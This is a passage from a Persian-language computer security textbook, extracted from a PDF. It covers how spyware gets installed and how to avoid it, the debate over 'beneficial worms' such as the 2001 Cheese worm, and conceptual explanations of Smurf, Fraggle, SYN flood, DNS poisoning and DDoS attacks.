افـزار   تواننـد تحـت تعريـف نـرم     رسـان مـي   كامپيوترهاي بيشتري شود. بهرحال، هردوي اين قطعات آسيب

  داند. اطلاع است و هدف واقعي آنان را نمي زيرا كاربر از وجودشان بي  جاسوسي قرار بگيرند،

  و روش مقابله به آن افزار جاسوسي روي كامپيوتر  چگونگي قرارگرفتن نرم 12-5

افزار جاسوسي اين نيست كه چـه مـدت روي كـامپيوتر شـما قـرار داشـته و چـه         تنها مساله در مورد نرم
اول  قصدي دارد، بلكه فهميدن اينكه چگونه و از كجا اين برنامه وارد كامپيوتر شما شده است، در درجـه 

  قرار دارد.

افزارهاي جاسوسي درست مانند علفهاي هرز كه بدون سروصدا هنگام قدم زدن در جنگل به جـوراب   نرم
افزار جاسوسي خـودش را ماننـد    چسبند، هنگامي كه مشغول گشت و گذار در اينترنت هستيد، نرم شما مي

چيزي بتواند روي كامپيوتر شـما نصـب   چسباند! اما قبل از اينكه هر يك مسافر قاچاقي به كامپيوتر شما مي
اي را باز كنيد. در زير چند تا از معمولترين روشهاي مـورد   گردد، معمولا بايد روي چيزي كليك يا برنامه

  افزارهاي جاسوسي بيان شده است: دادن كاربران براي نصب نرم استفاده براي فريب

  بازكردن ايميل اسپمي  ·

  زشونده فريبندههاي با كليك كردن روي پنجره  ·

  ها، بازيها، ابزارها و غيره دانلود كردن رايگان برنامه  ·

  هاي اشتراك فايل برنامه  ·

  سايتهاي ناجور! مشاهده وب  ·

  افزارهاي اجراي فايلهاي صوتي و تصويري آنلاين نرم  ·
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رت پنهـاني  درحاليكه حجم فراواني از محتوا روي اينترنت قرار دارد كه بـراي تماشـاي اعمـال شـما بصـو     

سروصـدا همـراه بـا     خارج وجود دارد كـه بـي   افزارهاي رايگان يا ازرده طراحي نشده است، بسياري از نرم

كننـدگان   افزار جاسوسي نه تنها علائق شما را براي تبليغ شود. نرم افزار جاسوسي وارد كامپيوتر شما مي نرم

افزار جاسوسي چگونه  ي نيز شود. ببينيم نرمتواند منجر به افشاي اطلاعات شخص سازد، بلكه مي آشكار مي

  توانيد بكنيد. روي هاردديسك شما قرار ميگيرد و شما براي جلوگيري از آن چه مي

اولا، يكي از بزرگترين اشتباهاتي كه كاربران انجام ميدهند اين است كه قبل از شروع گشـت و گـذار در   

هـا و   كنند. سـطح امنيتـي پـايين بـه تمـام كـوكي       ميوب تنظيمات سطح امنيتي خود را بسيار پايين انتخاب 

هاي جاسوسي بـه سـادگي اجـازه ذخيـره شـدن در حافظـه كـامپيوتر را ميدهـد. كارهـايي كـه شـما             برنامه

  افزارهاي جاسوسي از سيستم خود انجام دهيد شامل موارد زير است: توانيد براي دور نگهداشتن نرم مي

  ده يا بالاترگزي تنظيم سطح امنيتي به سطح پيش  ·

  كنيد نظارت دقيق بر آنچه دانلود مي  ·

  عامل كامپيوتر روز نگهداشتن سيستم به  ·

  دهيد، بگيرد! نصب يك برنامه ضدجاسوسي كه جلوي آنچه را كه از دست مي  ·

كند، آنهـا را   اند، تعيين مي هاي جاسوسي را كه بدون اطلاع شما وارد شده برنامه ضدجاسوسي محل برنامه

  كند.  ينه و سپس پاك ميقرنط

رسد، ايميل  در مرحله بعدي، به احساس و غريزه خود رجوع كنيد! اگر منبعي آشنا يا قابل اعتماد بنظر نمي

هاي مـورد نيـاز خـود را از منبـع قابـل       سايت را نبينيد. برنامه را كليك نكنيد و وب popupرا باز نكنيد، 

اي مجاني ارزش دردسر بعدي را ندارند! هنگـامي كـه بـه يـك     ه اوقات برنامه اعتماد دريافت كنيد. گاهي

روزرسـانيهاي   خواهد به شـما بـه   كنيد به انگيزه آن دقت كنيد. چرا يك نفر مي پيشنهاد فريبنده برخورد مي

افزارهـا درون   مرتب مجاني ارائه دهد؟! دنبالش نرويد.از تجربيات ديگران براي فهميدن اينكـه كـدام نـرم   
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توانيـد جسـتجويي انجـام     اند، استفاده كنيد. در عرض چنـد ثانيـه مـي    هاي جاسوسي پناه داده خود به برنامه

گـذاري فايلهـا    هاي به اشـتراك  افزارهاي توام با جاسوس، شامل برنامه دهيد تا بفهميد ديگران در مورد نرم

گوينـد.   يتصويري آنلاين چـه م ـ  افزارهاي اجراي فايلهاي صوتي ) و نرمBearShareو  Kazza(مانند 

افزارهاي جاسوسي تاثيرگذار خواهد بود. براي مثال، يك برنامـه   در مورد دوم صداهاي اعتراض! عليه نرم

بـرداري از   محاسبه ماليات معروف اخيرا يـك برنامـه جاسوسـي را بمنظـور جلـوگيري از هـر گونـه كپـي        

اعضـاي همـان خـانواده ـ داخـل       فايلهايش ـ حتي براي مقاصد قانوني مانند تهيه پشـتيبان يـا اسـتفاده سـاير     

افزار توانايي نظارت بر رفتارشان  محصول خود قرار داد. اما مشتريان از اين مساله ناراضي بودند كه اين نرم

افـزاري بـه حـرف آنهـا      را دارد، و بهمين دليل برعليه سازنده با صداي بلند! اعتراض كردنـد. شـركت نـرم   

  برنامه جاسوسي فضول! به فروش رساند.افزار را بدون  گوش كرد و سال بعد نرم

كنندگان براي دريافت اجازه مزاحمتان  گوييد، نصب مي ”نه“افزارهاي جاسوسي  از آنجا كه شما به نرم

هاي عـادي بـراي    بعضي بازاريابان از حقه  ـ بسياري اعتقادي به انجام بازي جوانمردانه ندارند!!!  !شوند نمي

 Gatorافزار به نـام   كنند. براي مثال، بخشي از يك نرم ا استفاده ميشان روي كامپيوتر شم نصب جاسوس

تبليغاتي فريـب دهـد.    popupكند شما را براي نصب محصولش از طريق يك  وجود دارد كه تلاش مي

پرسد  شود و مي دوم ظاهر مي popupبگوييد (پنجره را ببنديد)،  ” نه“هنگامي كه شما به پيشنهاد دانلود 

شود كه افراد با كليك جواب دهنـد، كـه بـه     اين سوال آري/خير مبهم باعث مي ”ن هستيد؟آيا مطمئ“كه 

  شود. اين ترتيب بدون آگاهي كاربر، دانلود آغاز مي

 drive-byشـود،   افـزار جاسوسـي روي كـامپيوتر شـما مـي      شـدن نـرم   روش ديگري كه باعث پيـاده 

download كنيـد، بـه يـك     لحـال! را مشـاهده مـي   ا سـايت معلـوم   شود. وقتـي شـما يـك وب    ناميده مي

popup شود كه شما باور كنيد  خواهد. لحن! پيام باعث مي خوريد كه از شما اجازه براي دانلود مي برمي

بگوييـد، برنامـه    ” بلـه “كه براي ديدن صفحه وب بازشده به دانلود نياز است، حتي اگر نيازي نباشد. اگر 

ها در صفحات بعدي ظـاهر  popupاما اگر پاسخ منفي بدهيد،  شود. جاسوس در كامپيوتر شما دانلود مي
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شوند تا بالاخره شما به كليك كردن روي يكي از آنها فريفته شويد و به اين ترتيب برنامه جاسوسي به  مي

  كند! صورت خاموش كار خود را آغاز مي

ها روي سيسـتم  adwareكنند. وقتي اين  افزارهاي جاسوسي تبليغاتي استفاده مي بعضي شركتها از نرم

هاي شخصي  كنند. به اين ترتيب شما سيلقه هاي تبليغاتي ميpopupشما نصب شدند، شروع به بازكردن 

شما و منابع كامپيوتريتان (پهناي باند، اتصـال اينترنـت و زمـان پـردازش كـامپيوتر) از اختيـار شـما خـارج         

افـزار جاسوسـي    ران تبليغـاتي و اگـر نـرم   چيز بدست نخواهيد آورد بجز بمبا خواهد شد، اما در عوض هيچ

  ها. آدرس ايميل شما را بدست آورد انبوهي از اسپم

افزارهاي جاسوسي در حـال ايجـاد    هاي جديد آلوده كردن كامپيوتر شما توسط نرم چون همواره روش

قبـل  ها  كردن جاسوس افزار به منظور كشف و بيرون افزار ضدجاسوسي نصب كنيد. اين نرم است، يك نرم

زحمت بيندازند، طراحي شده است. اگر شما از برنامه ضدجاسوسي خـود بعنـوان سـگ     از اينكه شما را به

افـزار جاسوسـي    خبر، آگاه خواهد كـرد. نـرم   محافظ! استفاده كنيد، شما را از دانلودهاي بدون اجازه و بي

تيـاط را رعايـت كنيـد،    شود. اگـر شـما مراتـب اح    كند و منجر به دردسرهاي جدي مي مزاحمت ايجاد مي

توانيد از دردسر احتمالي پرهيز كنيد و كامپيوترتان را  مي

  تميز نگه داريد.

 كرمهاي اينترنتي مفيد 12-5-1

  

خبــر از ظهــور و   2001در مــي  BBCخبرگــزاري 

) Cheese wormگسترش كرمي به نـام كـرم پنيـر (   

داد. محتواي خبر نشان از فعاليت اين كـرم عليـه هكرهـا    

  نه به نفع آنان! ميداد، 
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يك ويروس مفيـد در حـال گشـت در اينترنـت اسـت و شـكاف امنيتـي كامپيوترهـا را بررسـي و در          «

بندد. هدف اين كرم، كامپيوترهاي با سيستم عامل لينوكس است كه توسط يك  صورت يافتن، آنها را مي

  »اند. رسان قبلا مورد حمله قرار گرفته برنامه مشابه اما زيان

ويروس تحويل گرفته نشـد! چراكـه آنـان معتقـد بودنـد هـر        هاي توليد آنتي م توسط شركتاما اين كر

  افزاري كه تغييراتي را بدون اجازه در يك كامپيوتر ايجاد كند، بالقوه خطرناك است. نرم

دهنـدگان   (كـرم شـير) سـرويس    Lion wormرسان بـا عنـوان    در مارس همين سال يك برنامه زيان

را آلوده و درهاي پشتي روي آنها نصب كرده بود تا ايجادكننـدگان آن بتواننـد از   تحت لينوكس بسياري 

دزديد و به هكرهـايي كـه از ايـن ابـزار بـراي       برداري كنند. كرم همچنين كلمات عبور را مي سرورها بهره

نيـز   DoSتوانسـتند بـراي حمـلات     فرسـتاد. ايـن درهـاي پشـتي مـي      كردند، مي ورود غيرمجاز استفاده مي

  ستفاده شوند. ا

كرد بعضي از خسارات وارده توسط كرم شير را بازسازي كند. در حقيقت كرم پنير  كرم پنير تلاش مي

كرد تا آنكه درهاي پشتي ايجاد شـده توسـط كـرم شـير را      هايي با آدرسهاي مشخص را پيمايش مي شبكه

كرد تا  شده كپي مي امپيوتر ترميمگرفت و خود را در ك سپس براي بستن سوراخ، وصله آنرا بكار مي  بيابد،

  هاي ديگر با همان شكاف امنيتي از اين كامپيوتر استفاده كند.  براي پيمايش شبكه

مديران سيستمها كه متوجه تلاشهاي بسياري براي پيمايش سيستمهايشان شده بودند، دنبال علت گشتند 

  عث اعلام يك هشدار امنيتي گرديد.با CERTو كرم پنير را مقصر شناختند. ارسال گزارشهاي آنها به 

اين برنامه با مقاصد بدخواهانه نوشته نشده بود و بـراي جلـوگيري از فعاليـت هكرهـاي مـزاحم ايجـاد       

پيماييد و هرجا كـه ميرفـت خـود را كپـي      بود. چرا كه يك شبكه را مي» كرم«گشته بود. اما بهرحال يك 

  كرد. مي 

هاي كامپيوتري احساس كردنـد كـه    متخصصان امنيت شبكهزمانيكه بحث كرم پنير مطرح شد، بعضي 

رسـان پيـدا شـده باشـد. يكـي از       ممكن است راهي براي مبـارزه بـا شـكافهاي امنيتـي و هكرهـاي آسـيب      
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هـاي امنيتـي و حمـلات در اينترنـت غفلـت يـا تنبلـي بسـياري از مـديران           بزرگترين علتهاي وجـود رخنـه  

كننـد و تعـداد    ود را با شكافهاي امنيتي به امـان خـدا! رهـا مـي    سيستمهاست. بسياري از مردم سيستمهاي خ

  دهند. هاي موجود را مي كمي زحمت نصب وصله

اي  كنند. ايـن نكتـه   ها ابراز نارضايتي مي ها و بارگذاري وصله ها از ورود برنامه بسياري از مديران شبكه

ناسازگار باشد. اما در مورد يك هاي موجود در كامپيوتر  صحيح است كه يك وصله ممكن است با برنامه

كند، چه؟ اين روش مشكل مـديراني را كـه    كرم مفيد كه وجود شكافهاي امنيتي در سيستمها را اعلام مي

هاي ناخواسـته را   گويند كه برنامه بعضي مي  كند. توانند تمام شكافهاي امنيتي را رديابي كنند، حل مي نمي

اگر شـكاف امنيتـي در سيسـتم شـما وجـود      «شود  آنها گفته مي خواهند. در پاسخ به روي سيستم خود نمي

كنـد بـه شـما كمـك كنـد،       توانستند وارد شوند. يك برنامه را كـه سـعي مـي    ها نمي نداشت كه اين برنامه

رسانند و ممكن است از سيستم شما براي حمله به  دهيد يا آنهايي را كه به سيستم شما آسيب مي ترجيح مي

  » د؟ سايرين استفاده كنن

هاي امنيتي كامپيوتر شما فقط مشكل شما نيسـتند؛ بلكـه ممكـن     اين آخري، يك نكته مهم است. رخنه

ساز شوند. ممكن است فردي نخواهد عليـه بيماريهـاي مسـري واكسـينه      ها نيز مساله است براي ساير شبكه

  اي است كه در آن همزيستي وجود دارد. شود، اما بهرحال بخشي از جامعه

در اين ميان آزاردهنده است اين است كه هرساله بـراي امنيـت اتفاقـات بـدي رخ ميدهـد، و       آنچه كه

گيرد، اما براي هر گام به جلو، دو گـام بايـد بـه     هرچند تلاشهايي براي بهبود زيرساختهاي امنيتي انجام مي

بدليل تنبلي يا بـار  اند. و شايد  تر و در نتيجه تهديدها خطرناكتر شده عقب بازگشت. چرا كه هكرها باهوش

  كاري زياد مديران شبكه باشد.

خوانيـد، بخـاطر وجـود حملاتـي      در بيشتر موارد، مشكلات بزرگ امنيتي كه هر روزه درباره آنها مـي 

ها، هنـوز مشـكلات قـديمي را     گيرد كه به علت عدم اعمال وصله است كه برروي سيستمهايي صورت مي

  درخود دارند.
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بـراي تـرميم    كرمهـاي مفيـد  زمـان اسـتفاده از تـدبير براسـاس كـرم! و سـاختن        بنابه عقيده بعضي، اكنـون 

مشكلات است. درباره اين روش قبلا در مجامع مربوط به امنيت بحث شده است و البته هنـوز اعتراضـات   

(كامپيوترهاي آلـوده اي   zombie. اما در مواجهه با شبكه هاي محكمي عليه استفاده از آنها وجود دارد

گسترده، مورد استفاده قرار مـي گيرنـد) كـه تعـداد آنهـا بـه دههـاهزار كـامپيوتر          DoSكه براي حملات 

  ميرسد، مي توانند يك شبه! توسط كرمهاي مفيد از كار انداخته شوند.

   

   
يك كرم مفيد هنوز يك كرم است و بحث ديگري كه در اينجـا مطـرح مـي شـود ايـن اسـت كـه         البته، 

كرمها ذاتا غيرقابل كنترل هستند، به اين معني كه كرمهاي مفيد هـم باعـث بـروز مشـكلات ترافيـك مـي       

مي گردند. اين مساله در مورد بيشتر كرمها صدق مـي كنـد، امـا    شوند و بصورت غيرقابل كنترلي گسترده 

دليل آن اين است كه تاكنون هيچ كس يك كرم قانوني! و بدرستي برنامه نويسي شده ايجاد نكرده است. 

مي توان براحتي كنترلهاي ساده اي همچون انقضـاء در زمـان مناسـب و مـديريت پهنـاي بانـد را كـه ايـن         

  محدود يا حذف كند، براي يك كرم مفيد تصور كرد. تاثيرات ناخوشايند را

اشكال وارده به ايجاد يك كرم قانوني و مناسب اين است كه زمان زيـادي مـي طلبـد، بسـيار بيشـتر از      

زماني كه يك كرم گسترش پيدا مي كند. در پاسخ مي توان گفت بيشتر كرمها از مسائل تازه كشف شده 

  فهاي امنيتي استفاده مي كنند كه مدتهاست شناخته شده اند.بهره نمي برند. بيشتر آنها از شكا

تعدادي پرسش وجود دارد كه بايد پاسخ داده شوند. چه كسي اين كرمهـا را طراحـي و مـديريت مـي     

، فروشندگان يا اينكه بايد تشكل هايي براه انداخت؟ براي ترميم چـه ايراداتـي بايـد    CERTكند؟ دولت، 
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روند اخطار براي سيستمهايي كه توسط يك كرم مفيد وصله شده اند، چيست؟ مورد استفاده قرار گيرند؟ 

  آيا پيامي براي مدير شبكه بگذارد؟ كه البته هيچ كدام موانع غيرقابل حلي نيستند.

بهرحال، بهترين كار مديريت صحيح سيستمهايتان است، بنحوي كه با آخرين ابزار و وصله هاي امنيتي 

  صورت ديگر چندان نگران وجود كرمها در سيستمهايتان نخواهيد بود.بروز شده باشند. در اين 

آنچه كه نمي توان در مورد آن با اطمنيان صحبت كرد، امن و موثر بودن يك كرم مفيد است، كه اين 

مطلب مطالعات و تحقيقات جدي را مي طلبد. بعلاوه اينكه، اگر برنامه نوشته شده در دنياي بيرون متفاوت 

اه رفتار كند، چه كسي مسووليت آنرا مي پذيرد؟ مساله بعدي اينست كه تحـت قـانون جزايـي    از آزمايشگ

بعضي كشورها، هك كردن يك سيستم و تغيير ديتاي آن بدون اجازه زيان محسوب مي شـود و چنانچـه   

 هزار دلار برسد، تبهكاري بحساب مي آيد، حتي اگر قانون جنايي حمايتي5اين زيان به حد مشخصي مثلا 

براي نويسندگان كرمهاي مفيد درنظر بگيرد. ايده اصـلي در ايـن بـين، اجـازه و اختيـار بـراي دسـتيابي بـه         

كامپيوتر و تغيير ديتاي آن يا انجام عملياتي بر روي آن است. از منظر قانوني، اين اجازه مي تواند از طرقي 

، اساسا به هر كس اجازه تغييـر ديتـا را   اعطاء شود. بعلاوه اينكه سيستمهايي كه امنيت در آنها رعايت نشود

  مي دهند.

   

   
   

ها از پيش بواسطه شرايط ISPخوشبختانه، روشهاي محدودي براي اخذ اجازه وجود دارد. براي مثال، 

معتبر ممكن است حتـي سـرويس بـروز     ISPن اجازه تغيير ديتا را دارند. يك خدمات رساني به مشتريانشا

  رساني رايگان يك برنامه ضدويروس را نيز به مشتريانش ارائه كند. 
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راه ديگر اخذ اجازه از طريق پروانه هاي دولتي است. مثلا در بعضي كشورها، افسران پليس اين قدرت 

و شرايط خاصي وارد فضاي خصوصي افراد شوند. مثال ديگر در را دارند كه بتوانند تحت قوانين محدود 

مورد سارس است. افراد مي توانند بخاطر سـلامت عمـومي قرنطينـه شـوند، امـا فقـط توسـط افـرادي كـه          

  اختيارات دولتي دارند.

در آخر توجه شما را به يك مساله جلب مي كنيم: اجراي قوانين سلامت بيشتر بصورت محلـي اسـت،   

اينترنت ماهيت ديگري دارد. ممكن است بتوان در بعضي كشورها به سوالات مربوط در مـورد   در حاليكه

  نوشتن و گسترش كرمهاي مفيد جواب داد، اما كاربران كشورهاي ديگر را شامل نمي شود.

 عدم پذيرش سرويس  12-5-2

 Denial-of-Serviceآشنا شويم كه مخفف عبـارت  DoSقصد داريم تا  با نوعي از حمله به نام 

اشـاره مختصـري    حمله بـه كامپيوترهـا   روش هاي معموليا عدم پذيرش سرويس است. همانطور كه در  

ل ا حدي كه غيرقابمي شود تشد، اين نوع حمله باعث از كارافتادن يا مشغول شدن بيش از اندازه كامپيوتر 

استفاده مي شود. در بيشتر موارد، حفره هاي امنيتي محل انجام ايـن حمـلات اسـت و لـذا نصـب آخـرين       

وصله هاي امنيتي از حمله جلوگيري خواهند كرد. شايان گفتن است كـه عـلاوه بـر اينكـه كـامپيوتر شـما       

شركت  عليه يك سيستم ديگر نيز DoSقرار مي گيرد، ممكن است كه در حمله  DoSهدف يك حمله 

داده شود. نفوذگران با ايجاد ترافيك بي مورد و بي استفاده باعـث مـي شـوند كـه حجـم زيـادي از منـابع        

سرويس دهنده و پهناي باند شبكه مصرف يا به نوعي درگير رسيدگي به اين تقاضاهاي بـي مـورد شـود و    

مـي كنـد. نيـت اوليـه و تـأثير      اين تقاضا تا جايي كه دستگاه سرويس دهنده را به زانو در آورد ادامه پيـدا  

  است.  و از بين بردن اين منابع استفاده صحيح از منابع كامپيوتري و شبكه اياز جلوگيري  DoSحملات 

عليرغم تلاش و منابعي كه براي ايمن سازي عليه نفوذ و خرابكاري مصـروف گشـته اسـت، سيسـتم هـاي      

مواجه هستند. اين امر بدليل دو مشخصـه   DoSت متصل به اينترنت با تهديدي واقعي و مداوم به نام حملا

  اساسي اينترنت است:

  منابع تشكيل دهنده اينترنت به نوعي محدود و مصرف شدني هستند.   ·
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زيرساختار سيستم ها و شبكه هاي بهم متصل كه اينترنت را مي سازند، كاملاً از منابع محدود تشكيل شده 

هـاي ذخيـره سـازي، همگـي محـدود و هـدف هـاي معمـول         است. پهناي باند، قدرت پردازش و ظرفيت 

هستند. مهاجمان با انجام اين حملات سعي مي كنند با مصرف كردن مقدار قابـل تـوجهي    DoSحملات 

از منابع در دسترس، باعث قطع ميزاني از سرويس ها شوند. وفور منابعي كـه بدرسـتي طراحـي و اسـتفاده     

باشد، اما شيوه هـا و ابـزار امـروزي     DoSان تاثير يك حمله شده اند ممكن است عاملي براي كاهش ميز

  حمله حتي در كاركرد فراوان ترين منابع نيز اختلال ايجاد مي كند.

  امنيت اينترنت تا حد زيادي وابسته به تمام عوامل است.   ·
، صـورت  معمولاً از يك يا چند نقطه كه از ديد سيستم يا شبكه قرباني عامل بيروني هستند DoSحملات 

مي گيرند. در بسياري موارد، نقطه آغاز حمله شامل يك يا چند سيسـتم اسـت كـه از طريـق سوءاسـتفاده      

هاي امنيتي در اختيار يك نفوذگر قرار گرفته اند و لذا حملات از سيسـتم يـا سيسـتم هـاي خـود نفـوذگر       

رتبط با اينترنت كمك مي كند، صورت نمي گيرد. بنابراين، دفاع برعليه نفوذ نه تنها به حفاظت از اموال م

بلكه به جلوگيري از استفاده از اين اموال براي حمله به ساير شبكه ها و سيستم ها نيز كمك مي كند. پس 

بدون توجه به اينكه سيستم هايتان به چه ميزان محافظت مي شوند، قرار گرفتن در معرض بسياري از انواع 

  ر ساير قسمت هاي اينترنت بستگي زيادي دارد.، به وضعيت امنيتي د DoSحمله و مشخصاً 
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تنها يك بحث عملي نيسـت. محـدودكردن ميـزان تقاضـا، فيلتركـردن بسـته هـا و         DoSمقابله با حملات 

كمـك   DoSدر بعضي موارد مي تواند بـه محـدودكردن اثـر حمـلات     دستكاري پارامترهاي نرم افزاري 

در حال مصرف كردن تمام منابع موجود نباشد. در بسـياري مـوارد، تنهـا     DoSكند، اما بشرطي كه حمله 

مي توان يك دفاع واكنشي داشت و اين در صورتي است كه منبع يا منابع حمله مشخص شوند. استفاده از 

له و ظهور روش هاي حملـه توزيـع شـده و ابزارهـاي موجـود يـك چـالش        در طول حم IPجعل آدرس 

  پاسخ دهند، قرار داده است. DoSهميشگي را در مقابل كساني كه بايد به حملات 

» يك منبع به يك مقصد«اوليه شامل ابزار ساده اي بود كه بسته ها را توليد و از  DoSتكنولوژي حملات 

از چنـدين  «، »يك منبع به چندين هدف«رها تا حد اجراي حملات از ارسال مي كرد. با گذشت زمان، ابزا

  ، پيشرفت كرده اند.»چندين منبع به چندين هدف«و » منبع به هدف هاي تنها

مبني بر ارسال تعـداد بسـيار زيـادي بسـته بـه يـك        CERT/CCامروزه بيشترين حملات گزارش شده به 

اد و مصرف پهناي باند شبكه مي شود. از چنين حملاتي مقصد است كه باعث ايجاد نقاط انتهايي بسيار زي

حمله به چنـدين  «) ياد مي شود. اما در مورد Packet floodingعنوان حملات طغيان بسته (ه معمولاً ب

  گزارش كمتري دريافت شده است.» هدف

   

   
   

) مورد استفاده براي حملات طغيان بسته ، در طول زمان تغيير كـرده اسـت، امـا    Packetsانواع بسته ها (

  استفاده مي شوند. DoSچندين نوع بسته معمول وجود دارند كه هنوز توسط ابزار حمله 
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قرباني  IPبه آدرس متفاوت )  flag(  با پرچم هاي TCP: رشته اي از بسته هاي TCPطغيان هاي    ·

  بيشتر استفاده مي شوند. RSTو  SYN ،ACKفرستاده مي شوند. پرچم هاي 

بـه   ICMP): رشـته اي از بسـته هـاي    ping(مانند طغيان هـاي   ICMPپاسخ \طغيان هاي تقاضا   ·

  قرباني فرستاده مي شود. IPآدرس 

  ارسال مي شوند.قرباني  IPبه آدرس  UDP: رشته اي از بسته هاي UDPطغيان هاي    ·

   
   

آشنا شديم. از آنجا كه حملات طغيان بسته هاي ديتا معمولاً تـلاش مـي    DoSبا حمله در بخش قبلي 

كنند منابع پهناي باند و پردازش را خلع سلاح كنند، ميزان بسته ها و حجم ديتاي متناظر بـا رشـته بسـته هـا     

حمله خواص بسـته هـا را در رشـته     هايابزار ازعوامل مهمي در تعيين درجه موفقيت حمله هستند. بعضي 

  بسته ها بدلايلي تغيير مي دهند:

ناميده مـي   IPمنبع ناصحيح، (روشي كه جعل  IPدر بعضي موارد، يك آدرس  – منبع IPآدرس    ·

هنگـامي   IPشود) براي پنهان كردن منبع واقعي يك رشته بسته استفاده مي شود. در مـوارد ديگـر، جعـل    

سايت هـاي واسـطه فرسـتاده مـي شـوند تـا        ي ازبيشترتعداد ود كه رشته هاي بسته به يك يا استفاده مي ش

باعث شود كه پاسخ ها به سمت قرباني ارسال شود. مثال بعدي در مورد حملات افزايش بسته است (مانند 

smurf  وfraggle (  

اهي اوقات پورت منبع و گ،  UDPو  TCPابزار حمله طغيان بسته بر اساس    -مقصد\پورتهاي منبع   ·

  يا مقصد را تغيير مي دهند تا واكنش توسط فيلتر كردن بسته را مشكل تر كنند. 

مشـاهده كـرده ايـم كـه بـراي       DoSدر نهايـت در ابـزار حملـه      - ديگـر  IP Headerمقادير    ·

 IP هر بسته در رشته بسـته هـا طراحـي شـده انـد كـه تنهـا آدرس        Headerمقداردهي تصادفي، مقادير 

  مقصد است كه بين بسته ها ثابت مي ماند.

به آسـاني   TCP/IPبسته ها با خواص ساختگي بسادگي در طول شبكه توليد و ارسال مي شوند. پروتكل 

مكانيزم هايي براي تضمين پيوستگي خواص بسته ها در هنگام توليد و يا ارسال نقطه به نقطه بسته ها ارائـه  
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فقط به داشتن اختيـار كـافي روي يـك سيسـتم بـراي بكـارگيري ابـزار و        نمي كند. معمولاً، يك نفوذگر 

  حملاتي كه قادر به توليد و ارسال بسته هاي با خواص تغييريافته باشند، نياز دارد. 

  ) بود.DDos )Distributed DoSبا چندين منبع يا  DoS، آغاز بكارگيري ابزار 1999ژوئن 

   
  DoSروش هاي حمله 

  مي پردازيم: DoSتقسيم بندي كلي درباره انواع حملات در اين قسمت به يك 

Smurf  ياFraggle  
  هستند. (شكل زير) DoSيك از مخرب ترين حملات  smurfحملات 

   

   
   
 ICMP)، نفـوذگر يـك تقاضـاي اكـوي     ICMPته هـاي  (حملـه براسـاس ازديـاد بس ـ    Smurfدر حمله 

)ping   به يك آدرس ناحيه مي فرستد. آدرس منبع تقاضـاي اكـو، آدرس (IP    از آدرس) .قربـاني اسـت

IP     قرباني بعنوان آدرس برگشت استفاده مي شود). بعد از دريافت تقاضاي اكو، تمام ماشـين هـاي ناحيـه

رستند. در اين حالت قرباني هنگام دريافت طغيان بسته هاي بـا  قرباني مي ف IPپاسخ هاي اكو را به آدرس 

  اندازه بزرگ از تعداد زيادي ماشين، از كار خواهد افتاد.
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قرباني از روش مصرف پهناي باند استفاده مي كند. براي ازكار انداختن منابع شبكه سيستم  Smurfحمله 

اين حمله اين عمل را با استفاده از تقويت پهناي باند نفوذگران انجام مي دهد. اگـر شـبكه تقويـت كننـده     

برابر شود، و بنابراين حمله كننده با پهناي باند پايين (ماننـد مـودم    100ماشين دارد، سيگنال مي تواند  100

  ) از كار بيندازد.T1با پهناي باند بيشتري (مانند اتصال  راي تواند سيستم قرباني ) ميكيلوبيت 56

دارد. حملـه   Smurf) در حقيقـت شـباهت هـايي بـه حملـه      UDP (تقويـت بسـته    Fraggleحمله 

Fraggle  از بسته هاي اكويUDP     بر طبق همان روش بسـته هـاي اكـويICMP   در حملـهSmurf 

مـي رسـد، و در بيشـتر     Smurfمعمولاً به ضريب تقويت كمتري نسـبت بـه    Fraggleاستفاده مي كند. 

 Fraggleاسـت، بنـابراين    ICMPسرويسـي بـا اهميـت كمتـر نسـبت بـه اكـوي         UDPشبكه ها اكوي 

  را ندارد. Smurfعموميت 

   
SYN Flood  

بشـمار مـي    DoSبعنوان مخـرب تـرين شـيوه حملـه      Smurfقبل از كشف حمله  SYNحمله طغيان 

  بر اساس قحطي منابع عمل مي كند. DoSاين روش براي ايجاد حمله رفت. 

به سـرويس دهنـده    SYN، سرويس گيرنده يك تقاضاي TCPارتباط معمولي يك در طول برقراري 

 ACKبه كلاينت پاسخ مي دهد، در نهايـت كلاينـت يـك     ACK/SYNمي فرستد، سپس سرور با يك 

  ترتيب ارتباط برقرار مي شود.نهايي را به سرور ارسال مي كند و به اين 
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به سرور قرباني با آدرس هاي منبـع جعلـي    SYN، حمله كننده چند تقاضاي SYNاما در حمله طغيان 

بعنوان آدرس برگشت، مي فرستد. آدرس هاي جعلي روي شبكه وجود ندارنـد. سـرور قربـاني سـپس بـا      

ACK/SYN       رسـي ايـن   به آدرس هاي ناموجود پاسـخ مـي دهـد. از آنجـا كـه هـيچ آدACK/SYN  را

هرگز نمـي رسـد، و زمـان     ACKاز طرف كلاينت مي ماند.  ACKدريافت نمي كند، سرور قرباني منتظر 

انتظار سرور قرباني پس از مدتي به پايان مي رسد. اگر حمله كننده بـه انـدازه كـافي و مرتـب تقاضـاهاي      

SYN     و انتظـار بـراي ايـن    بفرستد، منابع موجود سرور قرباني براي برقـراري يـك اتصـالACK  هـاي در

 SYNحقيقت تقلبي مصرف خواهد شد. اين منابع معمولاً از نظر تعداد زيـاد نيسـتند، بنـابراين تقاضـاهاي     

  شوند. DoSجعلي حتي با تعداد نسبتاً كم مي توانند باعث وقوع يك حمله 

   
  DNSحملات 

لـه كننـدگان مـي    )، حمBIND )Berkely Internet Name Domainدر نسخه هاي اوليـه  

را كـه در حـال اسـتفاده از عمليـات بازگشـت بـراي        DNSتوانستند بطور مؤثري حافظه نهان يك سرور 

جستجوي يك ناحيه بود كه توسط اين سرور سرويس داده نمي شد، مسموم كنند. زماني كه حافظه نهـان  

بكه ناموجود هدايت مي مسموم مي شد، يك كاربر قانوني به سمت شبكه مورد نظر حمله كننده يا يك ش

برطرف شده اسـت. در ايـن روش حملـه كننـده اطلاعـات       BINDشد. اين مشكل با نسخه هاي جديدتر 

DNS  .غلط كه مي تواند باعث تغيير مسير درخواست ها شود، ارسال مي كند  

   
  DDoSحملات 

اسـت. در   DoS) حمله گسترده اي از DDoS )Distributed Denial of Serviceحملات 

حمله هماهنـگ شـده اي برعليـه سـرويس هـاي موجـود در اينترنـت اسـت. در ايـن روش           DDosاصل 

بطور غيرمستقيم از طريق تعداد زيادي از كامپيوترهاي هك شده بر روي كامپيوتر قربـاني   DoSحملات 

ه در ايـن  و كامپيوترهاي مـورد اسـتفاد  » قرباني هاي اوليه«، انجام مي گيرد. سرويس ها و منابع مورد حمله 
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عموماً در از كار انداختن سايت هاي كمپاني  DDoSناميده مي شوند. حملات » قرباني هاي ثانويه«حمله 

  مؤثرتر هستند. DoSهاي عظيم از حملات 

   
  DDoSانواع حملات 

